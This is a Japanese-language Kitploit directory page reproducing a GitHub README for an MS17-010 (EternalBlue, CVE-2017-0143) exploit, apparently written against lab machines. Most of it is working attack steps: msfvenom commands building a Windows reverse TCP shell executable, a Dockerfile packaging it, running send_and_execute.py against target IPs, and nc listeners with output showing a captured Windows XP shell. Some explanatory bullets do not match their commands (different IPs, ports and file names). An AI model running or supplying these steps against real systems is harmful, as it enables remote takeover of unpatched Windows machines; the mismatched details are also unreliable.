Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
MS17-010_CVE-2017-0143 — MS17-010_CVE-2017-0143 | Kitploit
ツール/GitHubGitHub/h3x0v3rl0rd/ms17-010_cve-2017-0143
ペイロード生成脆弱性分析エクスプロイトシェルコードペネトレーションテストリモートアクセスツール
GitHubh3x0v3rl0rd/ms17-010_cve-2017-0143

MS17-010_CVE-2017-0143

MS17-010_CVE-2017-0143

リポジトリを見る
40141年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

MS17-010

🖥️ -h3x0v3rl0rd- #️⃣ CVE-2017-0143

Docker

msfvenom を使用してペイロードを生成する:

root@kitploit:~
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe
  • -p windows/shell_reverse_tcp: ペイロードを指定します(Windows用のリバースTCPシェル)。
  • LHOST=10.10.14.4: 攻撃者のIPアドレス(ターゲットが接続し返す先)。
  • LPORT=443: 接続を待ち受ける攻撃者マシン上のポート。
  • -f exe: ペイロードを実行可能ファイルとして出力します。
  • -a x86: アーキテクチャ(32ビット)を指定します。
  • -o rev.exe: ペイロードを rev.exe として保存します。

Dockerコンテナのセットアップ:

  • なぜDockerを使うのか?
    • Dockerはエクスプロイトを実行するための一貫した分離された環境を提供します。
    • 依存関係の問題(例: Pythonバージョンの競合、ライブラリの欠落)を回避できます。

Dockerをセットアップする手順:

root@kitploit:~
sudo apt-get install docker.io

フォルダ構造の作成:

root@kitploit:~
mkdir exploit
cd exploit
touch Dockerfile
echo "impacket==0.9.23" > requirements.txt
  • Dockerfile: Dockerコンテナをビルドするための手順が含まれています。
  • requirements.txt: Pythonの依存関係をリストします(例: impacket)。

Dockerfileを書く:

root@kitploit:~
FROM python:2.7-alpine
RUN apk --update --no-cache add \
    git \
    zlib-dev \
    musl-dev \
    libc-dev \
    gcc \
    libffi-dev \
    openssl-dev && \
    rm -rf /var/cache/apk/*

RUN mkdir -p /opt/exploit
COPY requirements.txt /opt/exploit
COPY ms17-010.exe /opt/exploit
WORKDIR /opt/exploit
RUN pip install -r requirements.txt
  • FROM python:2.7-alpine: 軽量なAlpine LinuxイメージをPython 2.7とともに使用します。
  • RUN apk --update --no-cache add: 必要な依存関係(例: git、gcc)をインストールします。
  • COPY rev.exe /opt/cattime: リバースシェル実行ファイル(rev.exe)をコンテナ内にコピーします。
  • RUN pip install -r requirements.txt: Pythonの依存関係(例: impacket)をインストールします。

Dockerコンテナをビルドする:

root@kitploit:~
sudo docker build -t exploit .

コンテナを実行する:

root@kitploit:~
sudo docker run -it exploit /bin/sh

エクスプロイトのダウンロードと実行:

root@kitploit:~
git clone https://github.com/h3x0v3rl0rd/MS17-010_CVE-2017-0143.git
root@kitploit:~
cd MS17-010_CVE-2017-0143
root@kitploit:~
python send_and_execute.py 10.10.10.4 ../ms17-010.exe

リバースシェル:

root@kitploit:~
nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.4] 1035
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

旧来の方法

方法1

root@kitploit:~
git clone https://github.com/h3x0v3rl0rd/MS17-010_CVE-2017-0143.git
cd MS17-010_CVE-2017-0143/
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.9 LPORT=1337 -f exe -o ms17-010.exe

nc リスナーを作成する

root@kitploit:~
nc -nlvp 1337

エクスプロイト

root@kitploit:~
python2.7 send_and_execute.py 10.129.163.162 ms17-010.exe

image

もしこのようなエラーが発生した場合は、次の手順に従ってください:

root@kitploit:~
cd MS17-010_CVE-2017-0143/
sudo python2.7 get-pip.py
pip2.7 install --upgrade setuptools
python2.7 -m pip install impacket

これでエクスプロイトを実行できます: image

image

方法2

このエクスプロイトはpython2で作成されており、impacket、pycryptoなどのライブラリが必要です。そのため、仮想環境をセットアップする必要があり、ここではvirtualenvプログラムが役立ちます。環境を作成したら、sourceユーティリティプログラムを使用してその環境をアクティブ化できます。最新のKaliではpython3がグローバルインタープリタとして設定されているため、ここではpython2をインタープリタとして使用します。エクスプロイトはpython2用だからです。

なぜ仮想環境を使うのか? それについてはこちらを参照してください。 https://www.dabapps.com/blog/introduction-to-pip-and-virtualenv-python/

root@kitploit:~
virtualenv -p python2 venv
source venv/bin/activate
pip install impacket
pip install pycrypto

image

image

root@kitploit:~
python checker.py 10.10.10.4

image

root@kitploit:~
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.12 LPORT=4445 -f exe > shell.exe

image

root@kitploit:~
python send_and_execute.py 10.10.10.4 shell.exe 445 browser

image

root@kitploit:~
nc -nlvp 4445

image

ツールをダウンロード